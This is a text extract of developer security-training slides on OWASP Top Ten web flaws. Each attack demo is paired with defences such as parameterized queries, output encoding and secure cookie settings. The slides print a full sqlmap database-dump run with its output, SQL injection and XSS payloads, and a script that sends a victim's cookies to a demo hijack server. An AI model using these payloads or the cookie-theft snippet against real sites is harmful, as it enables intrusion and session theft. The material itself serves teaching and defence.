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but why are you here?







2013 Report says

less than half of developers use a 
security application process

http://www.cdmn.ca/wp-content/uploads/2013/09/TiC-Dev-July-2013.pdf



my goal is to 
change your 

behavior



Legend

simple sanity checks

recommendations

things to validate back at office

tools to add to your tool belt





WARNING: The tools & techniques we will be 
discussing today when applied can land you 
in jail. Before using them on a public website 

make sure you have expressed written 
permission to do so from the site owner.



use this knowledge for good not evil



https://www.kali.org/



https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project



https://www.owasp.org









1. Injection

Injection occurs when untrusted data is sent to an interpreter 
as part of a command or query. The attacker’s hostile data can 
trick the interpreter into executing unintended commands or 
accessing data without proper authorization. 



http://arstechnica.com/security/2013/07/25/nasdaq-is-owned-five-men-charged-in-largest-financial-hack-ever/







jdbcTemplate.queryForList("select * from employees where last_name = '" + name + "'");



‘;



https://xkcd.com/327/









' or '1'='1



sqlmap -u http://192.168.11.115:8080/injection/search --data=“name=Baaz” --dump-all



root@kali:~# sqlmap -u http://192.168.11.115:8080/injection/search --data="name=Baaz" --dump-
all 

    sqlmap/1.0-dev - automatic SQL injection and database takeover tool 
    http://sqlmap.org 

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is 
illegal. It is the end user's responsibility to obey all applicable local, state and federal 
laws. Developers assume no liability and are not responsible for any misuse or damage caused 
by this program 

[*] starting at 12:04:23 

[12:04:23] [INFO] resuming back-end DBMS 'mysql'  
[12:04:23] [INFO] testing connection to the target URL 
sqlmap identified the following injection points with a total of 0 HTTP(s) requests: 
--- 
Place: POST 
Parameter: name 
    Type: boolean-based blind 
    Title: AND boolean-based blind - WHERE or HAVING clause 
    Payload: name=Baaz' AND 6387=6387 AND 'TUSr'='TUSr 

    Type: error-based 
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause 
    Payload: name=Baaz' AND (SELECT 9504 FROM(SELECT COUNT(*),CONCAT(0x717a6b6471,(SELECT 
(CASE WHEN (9504=9504) THEN 1 ELSE 0 END)),0x7176646d71,FLOOR(RAND(0)*2))x FROM 
INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'hxTg'='hxTg 

    Type: UNION query 
    Title: MySQL UNION query (NULL) - 6 columns 
    Payload: name=Baaz' UNION ALL SELECT 
NULL,NULL,NULL,NULL,CONCAT(0x717a6b6471,0x4f6145586b4a6e436d71,0x7176646d71),NULL# 

    Type: AND/OR time-based blind 
    Title: MySQL > 5.0.11 AND time-based blind 
    Payload: name=Baaz' AND SLEEP(5) AND 'WqGo'='WqGo 

injection attempts

WARNING!!!



[12:04:23] [INFO] testing connection to the target URL 
sqlmap identified the following injection points with a total of 0 HTTP(s) requests: 
--- 
Place: POST 
Parameter: name 
    Type: boolean-based blind 
    Title: AND boolean-based blind - WHERE or HAVING clause 
    Payload: name=Baaz' AND 6387=6387 AND 'TUSr'='TUSr 

    Type: error-based 
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause 
    Payload: name=Baaz' AND (SELECT 9504 FROM(SELECT COUNT(*),CONCAT(0x717a6b6471,(SELECT 
(CASE WHEN (9504=9504) THEN 1 ELSE 0 END)),0x7176646d71,FLOOR(RAND(0)*2))x FROM 
INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'hxTg'='hxTg 

    Type: UNION query 
    Title: MySQL UNION query (NULL) - 6 columns 
    Payload: name=Baaz' UNION ALL SELECT 
NULL,NULL,NULL,NULL,CONCAT(0x717a6b6471,0x4f6145586b4a6e436d71,0x7176646d71),NULL# 

    Type: AND/OR time-based blind 
    Title: MySQL > 5.0.11 AND time-based blind 
    Payload: name=Baaz' AND SLEEP(5) AND 'WqGo'='WqGo 
--- 
[12:04:23] [INFO] the back-end DBMS is MySQL 
web application technology: JSP 
back-end DBMS: MySQL 5.0 
[12:04:23] [INFO] sqlmap will dump entries of all tables from all databases now 
[12:04:23] [INFO] fetching database names 
[12:04:23] [INFO] fetching tables for databases: 'employees, information_schema, mysql, 
performance_schema, sonar, star, test' 
[12:04:23] [INFO] fetching columns for table 'vendor' in database 'star' 
[12:04:23] [INFO] fetching entries for table 'vendor' in database 'star' 
[12:04:23] [INFO] analyzing table dump for possible password hashes 
Database: star 
Table: vendor 
[5 entries] 
+--------------------------------------+-------+---------------+---------------

identified technologies



[12:04:23] [INFO] testing connection to the target URL 
sqlmap identified the following injection points with a total of 0 HTTP(s) requests: 
--- 
Place: POST 
Parameter: name 
    Type: boolean-based blind 
    Title: AND boolean-based blind - WHERE or HAVING clause 
    Payload: name=Baaz' AND 6387=6387 AND 'TUSr'='TUSr 

    Type: error-based 
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause 
    Payload: name=Baaz' AND (SELECT 9504 FROM(SELECT COUNT(*),CONCAT(0x717a6b6471,(SELECT 
(CASE WHEN (9504=9504) THEN 1 ELSE 0 END)),0x7176646d71,FLOOR(RAND(0)*2))x FROM 
INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'hxTg'='hxTg 

    Type: UNION query 
    Title: MySQL UNION query (NULL) - 6 columns 
    Payload: name=Baaz' UNION ALL SELECT 
NULL,NULL,NULL,NULL,CONCAT(0x717a6b6471,0x4f6145586b4a6e436d71,0x7176646d71),NULL# 

    Type: AND/OR time-based blind 
    Title: MySQL > 5.0.11 AND time-based blind 
    Payload: name=Baaz' AND SLEEP(5) AND 'WqGo'='WqGo 
--- 
[12:04:23] [INFO] the back-end DBMS is MySQL 
web application technology: JSP 
back-end DBMS: MySQL 5.0 
[12:04:23] [INFO] sqlmap will dump entries of all tables from all databases now 
[12:04:23] [INFO] fetching database names 
[12:04:23] [INFO] fetching tables for databases: 'employees, information_schema, mysql, 
performance_schema, sonar, star, test' 
[12:04:23] [INFO] fetching columns for table 'vendor' in database 'star' 
[12:04:23] [INFO] fetching entries for table 'vendor' in database 'star' 
[12:04:23] [INFO] analyzing table dump for possible password hashes 
Database: star 
Table: vendor 
[5 entries] 
+--------------------------------------+-------+---------------+---------------

identified databases



performance_schema, sonar, star, test' 
[12:04:23] [INFO] fetching columns for table 'vendor' in database 'star' 
[12:04:23] [INFO] fetching entries for table 'vendor' in database 'star' 
[12:04:23] [INFO] analyzing table dump for possible password hashes 
Database: star 
Table: vendor 
[5 entries] 
+--------------------------------------+-------+---------------+---------------
+------------------------------------------------+----------------------+----------
+-----------+-----------+-------------------+-----------+-----------+------------
+------------+------------+-------------+-------------+------------------------+-------------
+--------------+-------------------------+----------------+----------------
+------------------+----------------+-----------------+----------------------
+-----------------------+ 
| id                                   | zip   | city          | state         | comment                                        
| country              | billType | enteredBy | phoneType | specialty         | extension | 
emailType | dateEdited | billPeriod | statusType | addressType | phoneNumber | companyName            
| dateEntered | lastEditedBy | emailAddress            | addressLineTwo | minorityStatus | 
addressLineOne   | mailPreference | numberEmployees | primaryContactMedium | 
masterAgreementNumber | 
+--------------------------------------+-------+---------------+---------------
+------------------------------------------------+----------------------+----------
+-----------+-----------+-------------------+-----------+-----------+------------
+------------+------------+-------------+-------------+------------------------+-------------
+--------------+-------------------------+----------------+----------------
+------------------+----------------+-----------------+----------------------
+-----------------------+ 
| 0341fc97-9a40-488f-8193-da163618622c | NULL  | NULL          | NULL          | NULL                                           
| NULL                 | NULL     | NULL      | NULL      | NULL              | NULL      | 
NULL      | NULL       | NULL       | NULL       | NULL        | NULL        | NULL                   
| NULL        | NULL         | NULL                    | NULL           | NULL           | 
NULL             | NULL           | NULL            | NULL                 | NULL                  
| 
| 7ad32c39-fb81-41d7-8315-ace1e17626dd | 43221 | Columbus      | OH            | <blank>                                        
| USA                  | 1        | NULL      | 1         | Fossil Excavation | <blank>   | 1         
| 11/19/2012 | 1          | 1          | 1           | 6141234567  | Manly James (you wish) | 
NULL        | admin        | test@manifestcorp.com   | <blank>        | 1              | 123 
Roadway      | 1              | 4               | NULL                 | 12345678901234567890  

dumped table data



+-----------+-----------+-------------------+-----------+-----------+------------
+------------+------------+-------------+-------------+------------------------+-------------
+--------------+-------------------------+----------------+----------------
+------------------+----------------+-----------------+----------------------
+-----------------------+ 

[12:04:23] [INFO] table 'star.vendor' dumped to CSV file '/usr/share/sqlmap/output/
192.168.11.115/dump/star/vendor.csv' 
[12:04:23] [INFO] fetching columns for table 'users' in database 'star' 
[12:04:23] [INFO] fetching entries for table 'users' in database 'star' 
[12:04:23] [INFO] analyzing table dump for possible password hashes 
Database: star 
Table: users 
[4 entries] 
+--------------------------------------+-----------------+---------+---------------
+----------+----------+--------------+ 
| uuid                                 | ip              | enabled | lockout       | username 
| attempts | password     | 
+--------------------------------------+-----------------+---------+---------------
+----------+----------+--------------+ 
| 009212d2-d6c3-11e3-8330-00155d0b9600 | 0:0:0:0:0:0:0:1 | \x01    | 1421214433577 | admin    
| 2        | admin        | 
| 00933b73-d6c3-11e3-8330-00155d0b9600 | 192.168.12.133  | \x01    | 1419012937414 | guest    
| 3        | guest        | 
| 00941bdf-d6c3-11e3-8330-00155d0b9600 | 0:0:0:0:0:0:0:1 | \x01    | 0             | user     
| 1        | user         | 
| b2a7c77c-12fb-4e7e-a9ad-1ceea3957b31 | <blank>         | \x01    | 0             | testUser 
| 0        | testPassword | 
+--------------------------------------+-----------------+---------+---------------
+----------+----------+--------------+ 

[12:04:23] [INFO] table 'star.users' dumped to CSV file '/usr/share/sqlmap/output/
192.168.11.115/dump/star/users.csv' 
[12:04:29] [INFO] fetching columns for table 'accounts' in database 'performance_schema' 
[12:04:30] [INFO] fetching entries for table 'accounts' in database 'performance_schema' 
[12:04:30] [INFO] analyzing table dump for possible password hashes 
Database: performance_schema 
Table: accounts 

provides a CSV version

username/passwords



| 00933b73-d6c3-11e3-8330-00155d0b9600 | 192.168.12.133  | \x01    | 1419012937414 | guest    
| 3        | guest        | 
| 00941bdf-d6c3-11e3-8330-00155d0b9600 | 0:0:0:0:0:0:0:1 | \x01    | 0             | user     
| 1        | user         | 
| b2a7c77c-12fb-4e7e-a9ad-1ceea3957b31 | <blank>         | \x01    | 0             | testUser 
| 0        | testPassword | 
+--------------------------------------+-----------------+---------+---------------
+----------+----------+--------------+ 

[12:04:23] [INFO] table 'star.users' dumped to CSV file '/usr/share/sqlmap/output/
192.168.11.115/dump/star/users.csv' 
[12:04:29] [INFO] fetching columns for table 'accounts' in database 'performance_schema' 
[12:04:30] [INFO] fetching entries for table 'accounts' in database 'performance_schema' 
[12:04:30] [INFO] analyzing table dump for possible password hashes 
Database: performance_schema 
Table: accounts 
[6 entries] 
+-----------+------------+-------------------+---------------------+ 
| HOST      | USER       | TOTAL_CONNECTIONS | CURRENT_CONNECTIONS | 
+-----------+------------+-------------------+---------------------+ 
| localhost | cjudd      | 1                 | 0                   | 
| localhost | root       | 82                | 10                  | 
| NULL      | NULL       | 23                | 18                  | 
+-----------+------------+-------------------+---------------------+ 

[12:04:30] [INFO] table 'performance_schema.accounts' dumped to CSV file '/usr/share/sqlmap/
output/192.168.11.115/dump/performance_schema/accounts.csv' 

[12:04:33] [WARNING] large output detected. This might take a while 
[12:04:33] [INFO] analyzing table dump for possible password hashes 
[12:04:35] [INFO] recognized possible password hashes in column 'DIGEST' 
do you want to store hashes to a temporary file for eventual further processing with other 
tools [y/N]  
[12:05:33] [WARNING] it appears that the target has a maximum connections constraint 
[12:05:33] [ERROR] user quit 

[*] shutting down at 12:05:33

system tables



Havij



Parameterized Queries

jdbcTemplate.queryForList("select * from employees where last_name = ?", name);



OWASP Enterprise Security API

https://github.com/ESAPI/esapi-java-legacy
https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API

Custom Enterprise Web Application 

Enterprise Security API 
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Existing Enterprise Security Services/Libraries 



OWASP Enterprise Security API

• Encoding library 
• SQL 
• HTML 
• JavaScript 
• CSS 
• URL 
• LDAP 
• OS 
• XML 
• XPath 

• Encoding tag library



\'\;

String lastName = ESAPI.encoder().encodeForSQL( 
                                   new MySQLCodec(MySQLCodec.Mode.STANDARD), name);  
 
jdbcTemplate.queryForList( 
                    "select * from employees where last_name = '" + lastName + "'");

Encode





SQL 
OQL (Hibernates’ HQL, JPA’s JPQL) 
Search (elastic search or solr) 
OS 
LDAP 



Parameterized Queries 
Encode



3. Cross-Site Scripting (XSS)

XSS flaws occur when an application takes untrusted data and 
sends it to a web browser without proper validation and/or 
escaping. XSS allows attackers to execute scripts in a victim’s 
browser which can hijack user sessions, deface websites, or 
redirect the user to malicious sites.

reflected 
stored



reflected XSS - attack is in the request itself (frequently the 
URL) and the vulnerability is injected into the page verbatim.

http://www.cool.net?message=%3Cscript%3Edocument.write(%27HACKED%27)%3C%2Fscript%3E

http://www.cool.net?message=<script>document.write('HACKED')</script>



protect against reflected XSS 



stored XSS - attacker stores the attack in a data store 
(database, file, etc) and is triggered by a user visiting the 

page.

<img style="visibility:hidden" src="http://www.cool.net/customer/delete?id=16" /> 
<a onmouseover="alert('hacked')" href="#">here</a>



JSP Expression - <%= request.getParameter("message")%> <br/> 
JSP EL - ${param.message} <br/> 
JSTL out - <c:out value="${param.message}"/> <br/>

Which format would you prefer to use?



JSP Expression - <%= request.getParameter("message")%> <br/> 
JSP EL - ${param.message} <br/> 
JSTL out - <c:out value="${param.message}"/> <br/>

Which format would you prefer to use?



JSP Expression - <%= request.getParameter("message")%> <br/> 
JSP EL - ${param.message} <br/> 
JSTL out - <c:out value="${param.message}"/> <br/> 
JSP EL using Escape Function - ${fn:escapeXml(param.message)}

Which format would you prefer to use?



OWASP Java Encoder Project

https://www.owasp.org/index.php/OWASP_Java_Encoder_Project
https://github.com/OWASP/owasp-java-encoder

• Encoding library 
• HTML 
• JavaScript 
• CSS 
• URI 
• XML 
• Java 

• Encoding tag library



<%@page import="org.owasp.encoder.Encode" %> 
<%@taglib prefix="e"  
          uri="https://www.owasp.org/index.php/OWASP_Java_Encoder_Project"%> 
 
OWASP encoder - <%= Encode.forHtml(request.getParameter("message")) %><br/> 
OWASP Encoder tag - <e:forHtml value="${param.message}" />

OWASP Java Encoder Project



<%@page import="org.owasp.encoder.Encode" %> 
<%@taglib prefix="e"  
          uri="https://www.owasp.org/index.php/OWASP_Java_Encoder_Project"%> 
 
OWASP encoder - <%= Encode.forHtml(request.getParameter("message")) %><br/> 
OWASP Encoder tag - <e:forHtml value="${param.message}" />

OWASP Java Encoder Project



<b>HACKED</b>
try submitting





Not Just HTML



Not Just HTML

Context is Important



<%@ page import="org.owasp.encoder.Encode" %> 
<%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %> 
<%@ taglib prefix="fn" uri="http://java.sun.com/jsp/jstl/functions" %> 
<%@ taglib prefix="e"   
           uri="https://www.owasp.org/index.php/OWASP_Java_Encoder_Project" %> 
<%@ taglib prefix="esapi" uri="/WEB-INF/tld/esapi.tld" %> 
 
<h1>Parameter - JavaScript</h1><br/> 
 
JSP Expression: 
<script>  <%= request.getParameter("message") %> </script><br/> 
 
JSP EL: 
<script> ${param.message} </script><br/> 
 
JSTL out: 
<script> <c:out value="${param.message}"/> </script><br/> 
 
JSP EL using Escape Function: 
<script> ${fn:escapeXml(param.message)} </script><br/> 
 
OWASP Encoder: 
<script> <%= Encode.forJavaScriptBlock(request.getParameter("message")) %> </script> 
<br/> 
 
OWASP Encoder tag: 
<script> <e:forJavaScript value="${param.message}"/> </script><br/> 
 
ESAPI tag: 
<script> <esapi:encodeForJavaScript>${param.message}</esapi:encodeForJavaScript>  
</script><br/>



http://www.cool.net?message=document.write('HACKED')



http://www.cool.net?message=document.write('HACKED')



http://www.cool.net?message=document.write('HACKED')
JSP Expression: 
<script> 
  document.write('HACKED')  
</script><br/> 
 
JSP EL: 
<script> 
  document.write('HACKED')  
</script><br/> 
 
JSTL out: 
<script> 
  document.write(&#039;HACKED&#039;)  
</script><br/> 
 
JSP EL using Escape Function: 
<script> 
  document.write(&#039;HACKED&#039;)  
</script><br/> 
 
OWASP Encoder: 
<script> 
  document.write(\'HACKED\')  
</script><br/> 
 
OWASP Encoder tag: 
<script> 
  document.write(\x27HACKED\x27) 
</script><br/> 
 
ESAPI tag: 
<script> 
  document.write\x28\x27HACKED\x27\x29 
</script><br/>



http://www.cool.net?message=document.write(window.location.href)



http://www.cool.net?message=document.write(window.location.href)



http://www.cool.net?message=document.write(window.location.href)
JSP Expression: 
<script> 
  document.write(window.location.href)  
</script><br/> 
 
JSP EL: 
<script> 
  document.write(window.location.href)  
</script><br/> 
 
JSTL out: 
<script> 
  document.write(window.location.href)  
</script><br/> 
 
JSP EL using Escape Function: 
<script> 
  document.write(window.location.href)  
</script><br/> 
 
OWASP Encoder: 
<script> 
  document.write(window.location.href)  
</script><br/> 
 
OWASP Encoder tag: 
<script> 
  document.write(window.location.href)  
</script><br/> 
 
ESAPI tag: 
<script> 
  document.write\x28window.location.href\x29 
</script><br/>







http://javajudd.net/vulnerability?message=%3Cscript
%3Edocument.write(%27hacked%27)%3C/script%3E



Escape/Encode 
Sanitize



know your tools and 
language



2. Broken Authentication and Session Management

Application functions related to authentication and session 
management are often not implemented correctly, allowing 
attackers to compromise passwords, keys, or session tokens, 
or to exploit other implementation flaws to assume other users’ 
identities.









https://github.com/cjudd/portero



document.createElement("img").src="http://localhost:9000/
hijack?url=" + encodeURIComponent(window.location.href) + 
"&cookies=" + encodeURIComponent(document.cookie)



WARNING: suspected XSS attack!!!



12.181.243.2 normal traffic298CA77D3D283858D4C59D7D14A1182E

12.181.243.2 normal traffic298CA77D3D283858D4C59D7D14A1182E

12.181.243.2 normal traffic298CA77D3D283858D4C59D7D14A1182E



12.181.243.2 normal traffic298CA77D3D283858D4C59D7D14A1182E

65.19.146.2 submitted html ad links298CA77D3D283858D4C59D7D14A1182E

12.181.243.2 normal traffic298CA77D3D283858D4C59D7D14A1182E

12.181.243.2 normal traffic298CA77D3D283858D4C59D7D14A1182E

65.19.146.2 submitted html ad links298CA77D3D283858D4C59D7D14A1182E

65.19.146.2 submitted html ad links298CA77D3D283858D4C59D7D14A1182E

65.19.146.2 submitted html ad links298CA77D3D283858D4C59D7D14A1182E



12.181.243.2 normal traffic298CA77D3D283858D4C59D7D14A1182E

65.19.146.2 submitted html ad links298CA77D3D283858D4C59D7D14A1182E

12.181.243.2 normal traffic298CA77D3D283858D4C59D7D14A1182E

12.181.243.2 normal traffic298CA77D3D283858D4C59D7D14A1182E

65.19.146.2 submitted html ad links298CA77D3D283858D4C59D7D14A1182E

65.19.146.2 submitted html ad links298CA77D3D283858D4C59D7D14A1182E

65.19.146.2 submitted html ad links298CA77D3D283858D4C59D7D14A1182E

12.181.243.2 normal traffic298CA77D3D283858D4C59D7D14A1182E

12.181.243.2 normal traffic298CA77D3D283858D4C59D7D14A1182E



12.181.243.2 normal traffic298CA77D3D283858D4C59D7D14A1182E

65.19.146.2 submitted html ad links298CA77D3D283858D4C59D7D14A1182E

12.181.243.2 normal traffic298CA77D3D283858D4C59D7D14A1182E

12.181.243.2 normal traffic298CA77D3D283858D4C59D7D14A1182E

65.19.146.2 submitted html ad links298CA77D3D283858D4C59D7D14A1182E

65.19.146.2 submitted html ad links298CA77D3D283858D4C59D7D14A1182E

65.19.146.2 submitted html ad links298CA77D3D283858D4C59D7D14A1182E

12.181.243.2 normal traffic298CA77D3D283858D4C59D7D14A1182E

12.181.243.2 normal traffic298CA77D3D283858D4C59D7D14A1182E

65.19.146.2 submitted html ad links298CA77D3D283858D4C59D7D14A1182E

12.181.243.2 normal traffic298CA77D3D283858D4C59D7D14A1182E

65.19.146.2 submitted html ad links298CA77D3D283858D4C59D7D14A1182E

12.181.243.2 normal traffic298CA77D3D283858D4C59D7D14A1182E

12.181.243.2 normal traffic298CA77D3D283858D4C59D7D14A1182E



Log
per request 

username 
ip 
requested url 

every log entry 
request id (generate) 
session id (hash)



HTTPOnly & Secure



5. Security Misconfiguration

Good security requires having a secure configuration defined 
and deployed for the application, frameworks, application 
server, web server, database server, and platform. Secure 
settings should be defined, implemented, and maintained, as 
defaults are often insecure. Additionally, software should be 
kept up to date.



NOT USING HTTPS/SSL/TLS



https://www.ssllabs.com/



https://www.ssllabs.com/



validate your ssl using https://www.ssllabs.com/

https://www.ssllabs.com/




<session-config> 
<cookie-config> 
<http-only>true</http-only> 

</cookie-config> 
</session-config>

<session-config> 
<cookie-config> 
<secure>true</secure> 

</cookie-config> 
</session-config>



check cookies are http only and secure





<session-config> 
<tracking-mode>COOKIE</tracking-mode> 

</session-config>



disable cookies and determine if session data is written to url





Securing <app server>

run as dedicated user (not root) 
change default users & passwords 
remove unnecessary applications 
disable auto deploy 
configure error responses



6. Sensitive Data Exposure

Many web applications do not properly protect sensitive data, 
such as credit cards, tax IDs, and authentication credentials. 
Attackers may steal or modify such weakly protected data to 
conduct credit card fraud, identity theft, or other crimes. 
Sensitive data deserves extra protection such as encryption at 
rest or in transit, as well as special precautions when 
exchanged with the browser.



don’t broad cast your technology stack









<Connector port="8080" protocol="HTTP/1.1"
               connectionTimeout="20000"
               redirectPort="8443" 
               server="Not telling ;)"
               />



<Connector port="8080" protocol="HTTP/1.1"
               connectionTimeout="20000"
               redirectPort="8443" 
               server="Not telling ;)"
               />





Summary



developers have to be 
right 100% of the time



developers have to be 
right 100% of the time

hackers only have to be right once



Resources









http://twit.tv/show/security-now



OWASP Books
1

4.0Testing Guide

Project Leaders: Matteo Meucci and Andrew Muller 
Creative Commons (CC) Attribution Share-Alike
Free version at http://www.owasp.org  



OWASP Cheat Sheets
Authentication 
Choosing and Using Security Questions 
Clickjacking Defence 
Cross-Site Request Forgery (CSRF) Prevention 
Cryptography Storage 
DOM based XSS Prevention 
Forgot Password 
HTML 5 Security 
Input Validation 
JAAS 
Logging 
Password Storage 
Pinning 
Query Parameterization 
REST Security 
Session Management 
SQL Injection Prevention 
Transport Layer Protection 
Unvalidated Redirects and Forwards 
User Privacy Protection 
Web Service Security 
XSS (Cross Site Scripting) Prevention

OWASP Cheat Sheets

Martin Woschek, owasp@jesterweb.de

April 9, 2015

https://www.owasp.org/index.php/Cheat_Sheets



https://www.owasp.org/index.php/OWASP_Chapter

OWASP User Groups



http://google-gruyere.appspot.com/



https://www.owasp.org/index.php/Category:OWASP_WebGoat_Project



http://cwe.mitre.org/



http://cve.mitre.org/



http://www.cvedetails.com/



https://nvd.nist.gov

https://nvd.nist.gov


http://www.kb.cert.org/vuls/



Attributions

Open Web Application Security Project (OWASP) - www.wasp.org

http://www.wasp.org

